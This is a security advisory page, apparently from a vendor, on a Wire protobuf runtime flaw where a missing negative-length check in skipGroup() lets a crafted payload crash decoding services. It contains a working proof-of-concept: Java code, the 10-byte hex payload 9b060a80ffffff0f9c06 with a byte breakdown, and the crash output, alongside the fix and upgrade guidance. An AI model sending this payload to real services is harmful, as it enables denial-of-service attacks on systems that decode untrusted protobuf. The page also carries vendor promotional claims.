GHSA-7xpr-hc2w-34m9 is a high-severity (CVSS 7.5) CWE-129 vulnerability in com.squareup.wire:wire-runtime-jvm. O3 Security confirms whether GHSA-7xpr-hc2w-34m9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Wire: skipGroup() missing negative-length check allows 10-byte payload to crash any Wire-decoding service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7xpr-hc2w-34m9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-7xpr-hc2w-34m9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 360,399 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
com.squareup.wire:wire-runtime-jvm☕com.squareup.wire:wire-runtime☕com.squareup.wire:wire-runtime☕com.squareup.wire:wire-runtime-jvmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
CVE-2026-45799
Maintainer summary
Wire's protobuf group-skipping logic did not reject negative lengths before skipping a
length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an
unchecked runtime exception during decoding instead of the documented IOException /
ProtocolException failure path.
This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures.
Affected artifacts
com.squareup.wire:wire-runtime
Affected versions: vulnerable releases before 6.3.0.
Patched versions: 6.3.0 and later.
Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.
com.squareup.wire:wire-runtime-jvm
Affected versions: vulnerable releases before 6.3.0.
Patched versions: 6.3.0 and later.
Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.
Wire 7 alpha releases
The fix has been merged to master and will be included in the next Wire 7 alpha release. Until
that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with
affected alpha versions or build from a commit containing the fix.
Fix
The issue is fixed in Wire 6.3.0.
The fix rejects negative lengths while skipping groups and throws ProtocolException instead of
allowing the reader to move to an invalid position and later throw an unchecked runtime exception.
Credit
Reported by @TrekLaps.
Technical details
The following technical details are based on the original report, updated by the maintainers to
reflect the assigned CVE, the supported fixed artifact, and the discontinued status of
com.squareup.wire:wire-runtime-jvm.
ByteArrayProtoReader32.skipGroup() in wire-runtime did not validate that a
LENGTH_DELIMITED field's length is non-negative before calling skip(). A crafted protobuf
varint encodes -128 as a signed Int. When skip(-128) runs, the internal position counter
underflows to an invalid negative position. The next readByte() accesses the source with that
negative position, throwing ArrayIndexOutOfBoundsException, a RuntimeException that escapes
Wire's documented IOException boundary and can crash the request handler.
ProtoAdapter.decode(byte[]) is declared to throw IOException. Callers following the documented
API may catch only IOException, so unchecked runtime exceptions from malformed input can escape
the expected error boundary.
The originally confirmed vulnerable legacy versions include 5.3.1 and 5.3.3 for the
discontinued com.squareup.wire:wire-runtime-jvm coordinate. The supported replacement coordinate
is com.squareup.wire:wire-runtime, fixed in version 6.3.0.
Root cause
In the originally reported vulnerable code path, ByteArrayProtoReader32.skipGroup() read the
length as a signed Int and used it without validating that it was non-negative:
STATE_LENGTH_DELIMITED -> {
val length = internalReadVarint32() // returns signed Int and can be negative
skip(length) // no negative check
}
The internal skip() implementation then accepted the negative count because the computed
position was not greater than the limit:
private fun skip(byteCount: Int) {
val newPos = pos + byteCount // for example, 7 + (-128) = -121
if (newPos > limit) throw EOFException()
pos = newPos // pos = -121
}
The next read could then index the source with the invalid negative position:
private fun readByte(): Byte {
if (pos == limit) throw EOFException()
return source[pos++] // source[-121] throws ArrayIndexOutOfBoundsException
}
Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code.
The fix adds this validation when skipping groups:
STATE_LENGTH_DELIMITED -> {
val length = internalReadVarint32()
if (length < 0) throw ProtocolException("Negative length: $length...")
skip(length)
}
The fix was applied to both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup().
Reproduction
The following reproduction was provided for vulnerable legacy wire-runtime-jvm releases such as
5.3.1 and 5.3.3:
curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar
curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar
curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar
// WirePoc.java
import com.squareup.wire.AnyMessage;
public class WirePoc {
public static void main(String[] args) throws Exception {
byte[] payload = new byte[] {
(byte) 0x9B, 0x06, // field 99, START_GROUP
0x0A, // field 1, LENGTH_DELIMITED
(byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F, // varint = -128
(byte) 0x9C, 0x06 // field 99, END_GROUP
};
AnyMessage.ADAPTER.decode(payload);
}
}
javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java
java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePoc
Observed output on vulnerable versions:
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10
at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)
at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)
at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)
at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)
at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)
at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)
at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)
at WirePoc.main(WirePoc.java:10)
With the fix, the same payload is rejected with ProtocolException.
Why this can affect any Wire-decoding service
skipGroup() is called for any unknown field with wire type 3. An attacker can send an unknown
field, such as field 99, with wire type START_GROUP. The decoder skips it via skipGroup()
regardless of which message type the service uses, so no schema knowledge is required.
Payload:
9b060a80ffffff0f9c06
Payload breakdown:
0x9B 0x06 field 99, wire type 3 (START_GROUP)
0x0A field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F 5-byte varint = -128 as signed Int
0x9C 0x06 field 99, END_GROUP
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.squareup.wire:wire-runtime-jvm | all versions | 6.3.0 |
| ☕Maven | com.squareup.wire:wire-runtime | all versions | 6.3.0 |
| ☕Maven | com.squareup.wire:wire-runtime | ≥ 7.0.0-alpha01&&< 7.0.0-alpha03 | 7.0.0-alpha03 |
| ☕Maven | com.squareup.wire:wire-runtime-jvm | ≥ 7.0.0-alpha01&&< 7.0.0-alpha03 | 7.0.0-alpha03 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.squareup.wire:wire-runtime-jvm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update com.squareup.wire:wire-runtime-jvm to 6.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7xpr-hc2w-34m9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7xpr-hc2w-34m9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7xpr-hc2w-34m9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7xpr-hc2w-34m9 in your dependencies?
O3 detects GHSA-7xpr-hc2w-34m9 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.